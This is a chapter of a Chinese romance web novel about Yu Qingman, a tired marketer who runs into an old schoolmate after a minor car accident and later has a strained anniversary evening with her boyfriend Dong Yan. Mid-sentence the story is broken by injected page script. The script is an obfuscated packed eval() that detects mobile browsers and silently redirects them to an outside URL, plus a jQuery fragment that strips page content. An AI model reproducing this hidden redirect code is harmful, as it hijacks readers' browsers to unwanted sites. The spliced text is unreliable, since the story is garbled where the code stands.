《SeeU》在女生圈子里的传播，在于清漫的身上没有特别的体现。


    她仍然因为即将上线的产品忙得团团转，当空中飞人监工营销物料的拍摄。对于“乐玩一年，人间五年”有了更为具像化的理解。


    甚至感觉是度日如年。


    毕竟以前出差可以挑个时间回家休息半天，现在都是白天在公司处理完事情，晚上飞。回程也是红眼航班，半夜开车回家，第二天早起去上班。


    就比如今天。


    万恶的资本家。


    于清漫不得不在车里播放一些舒缓的音乐，才能尽量让开夜车回家的自己咬牙切齿。


    好不容易熬到下了机场高速，还没开出两个路口，她只听见“砰”的一声。


    在心中暗骂一句，她透过后视镜看到后面的车，也将车停下。


    大半夜，于清漫不确定后面开车的是什么人。虽然是不算柔弱的女生，她还是把车门都锁好，打电话给交警。坐车里报着事发地的路段时，她的车窗被人敲了两下。


    于清漫抬头，看到是个女生。


    用头夹着手机，她稍稍放下一点车窗。


    站在外面的女生看起来年纪不大，有些窘迫：“姐姐，实在对不起，是我刚刚变道太急了……真的对不起……车不是我的，这是我哥哥的名片，你可以打给他。”


    于清漫对她做了个稍等的手势，冷静地和交警沟通完，挂断电话。


    “不是你的？”她觉得有点好笑和荒谬，反问道，“你有驾驶证吧？”


    “有。”小姑娘点头。


    还好，至少不是遇见了无证驾驶。


    “万幸。”于清漫在心中长叹，接过她递来的名片。


    小姑娘在车外手足无措：“我哥已经在来的路上了，大概十分钟。如果你不急的话……”


    知道有事喊家长，也还行。


    于清漫无奈地呼出一口气。


    借着车外的光亮，她扫了一眼手中的名片。


    张业庭


    这个名字应该很难重名吧？


    她又翻过名片，看了一眼上面烫印的公司Logo。


    混得还不错。


    她把名片随手放在一边，解开安全带：“你哥有告诉你怎么解决吗？”


    小姑娘点头：“拍现场的照片。”


    “嗯，”于清漫点头，打开车门，“拍几张照片，然后把车挪路边。”


    所幸本来就是在快到路口，最后一段可以变道的距离，车速不快，只是有点小剐蹭。


    “他还有多久到？”十月的河海市已经开始降温，于清漫拢了拢身上的外套，站在路边问旁边的女生。


    小姑娘正掏着电子烟吸着，怕影响到她，自己站到了另一侧的下风向。


    她掏出手机：“马上了，还有一个路口。”


    在嘴边的“之后我直接联系他吧”，就这样又咽了回去。


    “这里！”在于清漫低头用手机处理工作时，旁边的小姑娘突然弹跳，摇晃着手。


    她抬头，看到从车上下来的男人。


    他正在耳边拿着电话，微皱着眉对电话里说着什么。关上车门再转身时，他们四目相对。


    即使是昏暗的马路边，她依然能看到他讶异的停顿。


    她把消息框内最后一行字打完，按下发送键，将双手连同手机插进风衣口袋，朝他耸肩。


    “哥，你终于来了，我快吓死……”身边的小姑娘像是看到救星一样，立刻冲上去搓手。


    张业庭向她做个手势，简短地和电话那端又说了几句，才挂断电话。


    “这位是我不小心刮到的姐姐。”不好意思地瞅了于清漫一眼，察觉到于清漫也看过来的视线，她瞬间瞥走目光。


    “实在抱歉，漫漫。”他走到她面前，微叹着气，开口。


    风吹起她的长发，也带起他随意搭在胳膊上的西装外套。于清漫仰头，笑着打趣：“你这样叫我，是想熟人便宜点？”


    刚刚还严肃的人，也跟着笑了：“果然。”


    他们就在某个再平凡不过的深夜，这样再次重逢。


    他们见过彼此年轻意气风发时，也见过彼此刚入职场的青涩，飞机场匆匆的一面也在彼此稍显成熟的世界擦身而过。


    此时，近三十岁的他们，在成熟沉淀后似乎再也看不到曾经十五六岁时的影子。


    时光留不住什么东西。


    只有记忆才能勉强存下。


    但当记忆随着时间而完全模糊，他们之间与陌生人没有什么两样。


    “果然？”她扬眉。


    “果然，你一开口，有点像你了。”他学着她的样子，轻松地耸肩道。


    “你们认识？”小姑娘像是发现新大陆一样，刚刚的窘迫和手足无措瞬间消失，睁着大眼睛左瞅瞅、右看看。


    “车的问题，咱们直接处理吧。”无视掉旁边的一惊一乍，张业庭走过去看了看于清漫的车，“我转你。”


    “嗯。”于清漫点头，“你来了就好。这么晚了，带她回去吧。”


    以这孩子的心理素质，不知道路上还会不会出事故。


    她和张业庭绕过车，在他的目光下，打开驾驶座的车门。


    “真的很抱歉，她刚拿到驾照，今天说要来接我下班，结果蹭到了你。”张业庭帮她扶住车门。


    “没事，我把价格发给你，你记得转账给我就好。”她弯唇。


    “对了，”他从外套夹层里掏出一张名片，“虽然你有我的微信，但如果联系不上我，可以打这个电话。”


    “刚刚她已经给我了一张。”于清漫转身，弯腰从车里拿出自己的包。


    她也掏出一张很少会发出去的名片，递给他：“这是我的。”


    一张名片，在两只方向不同的手指之间换过。


    “原来我们已经认识那么久了。”他接过，道，“和你互换名片，让我有点恍惚。”


    “是啊。”她笑。


    她也有点恍惚，只能穿丑丑的运动校服的时代，似乎已经是遥远得像是上个世纪的故事。


    他们如今的生活里都只剩下完不成的KPI，永远要复盘的数字。


    甚至连不远处的红绿灯，都在不停地跳动倒计时的数字，像是无尽的被催促的人生。


    “明天还要上班，我先回去了。”于清漫道。


    “注意安全。”


    “你也是。”


    车门将外面的声音隔绝，车灯重新亮起，在几秒后滑进它原本应该行驶的车道。


    透过后视镜，于清漫又瞥了一眼在原地站着的男人。


    他似乎朝她的方向看了一会儿，才转身叫过小姑娘。


    于清漫将车窗开得更大，任由风从外面灌进来，吹起她的发丝。


    车里播完上一首最近很火的歌，自动播放到《Heaven》，在这个深夜少车的行驶的路上，像是一瞬间如梦核一般进入到另一个世界。


    不知道开了多久，在离家不远的路口，她被红灯再次拦下。


    随手拿起扔在一旁的手机，她点开。


    手机里只有堆积得更多的工作消息。


    但来自董言的，没有一条。


    -


    董言在去年开始，慢慢接手家里的公司。


    只是这个过程不如预想中顺利，每天都有大量的事情要处理和面对，比于清


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14925451|160475||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    漫更忙。


    不过这事也有正反两面，好的是，至少让于清漫更有理由没心没肺地搞事业。


    反正两个人平时也很难有空约饭。


    在车被刮了两天后，董言的消息才姗姗来迟。


    【董言：最近忙吗，出来吃饭？】


    【于清漫：今天？】


    【董言：行啊，吃什么，我订餐厅】


    【于清漫：想吃点热的】


    【于清漫：我的车送去补漆了，晚点你来接我吧】


    【董言：撞车了？】


    【于清漫：刮了】


    【董言：人没事就行】


    于清漫看着屏幕上的对话，气到只是气了一下，无奈地叹气。


    【于清漫：人有事你两天后知道，我都凉透了】


    【董言：你凉透了我也爱你/玫瑰】


    【于清漫：滚】


    董言今天看起来真的不忙，他居然什么也没说，主动把她的车开回来，在于清漫公司楼下等她。


    还在手机里回着工作，于清漫看到自己的车，没走脑子，习惯性地拉开驾驶座的车门。


    然后与单手搭在方向盘上的董言大眼对小眼。


    于清漫：“……”


    不顾里面人的反应，顺手把车门关上。


    手机又振了两下，面对新进来的消息，她再次边走边低头处理，绕过车头，打开副驾驶的车门。


    映入眼帘的是几乎占了一整个座位的大捧玫瑰。


    董言张嘴，正要说什么，就看到于清漫面无表情地关上车门，又拉开副驾驶后座的车门，坐进去关好。


    董言：“……”


    他欲言又止。


    等把消息回完，意识到车还没有启动的于清漫终于回想到了副驾驶的玫瑰：“今天是什么日子？”


    董言凶巴巴的，透过后视镜看她：“距离咱们周年庆还有8天。”


    “这是即将周年庆，发布在微博和公众号的倒计时海报？”她试图让气氛活跃一些。


    “于清漫，我不想听工作！”他这次是真的生气了。


    “师傅，尾号7713。咱们开车吧，按导航走，快饿死了。”于清漫声音软下来，像往常一样和董言开玩笑，回避开冲突的核心。


    “漫漫。”董言偏就在这次倔了，他偏过身，一只手搭在副驾驶座位上，最大限度地扭过头。


    在昏暗中，他盯着她的眼睛：“你真的爱我吗？”


    于清漫任由他盯着自己，四目相对，她正色：“我爱你。”


    她的镇静和坦诚，反而让他慌了阵脚：“我不是在向你确认什么……”


    “董言，我很爱你。”于清漫打断他的话。


    “谢谢你的花，”她抿唇，“对不起，我今天真的有点累了，是我的问题。”


    董言深深地看了她一眼，最终还是正过身，发动车子。


    即使他的头始终向前，于清漫不用看也知道，这孩子还正在气鼓鼓地生闷气。


    她有些好笑，收起手机，用如炽的目光看着他的后脑勺，仿佛要把他盯出一个大洞。


    等他在商场楼下停稳车时，于清漫伸手，自若地从副驾驶的玫瑰花束中抽出一支。在他解开安全带的同时，递给他：“我知道你应该是之后有事，想提前过纪念日。”


    他梗着脖子，硬是不回头，却偷偷瞟着后视镜。


    她换另一只手摸摸他的脑袋：“纪念日快乐。”


    这是她和董言在一起的第五年。


    两个不太会爱人的人，磕磕碰碰地走过了一个看起来还挺庞大的数字。


    即便彼此心知肚明，他们的关系最多只能走到这一步。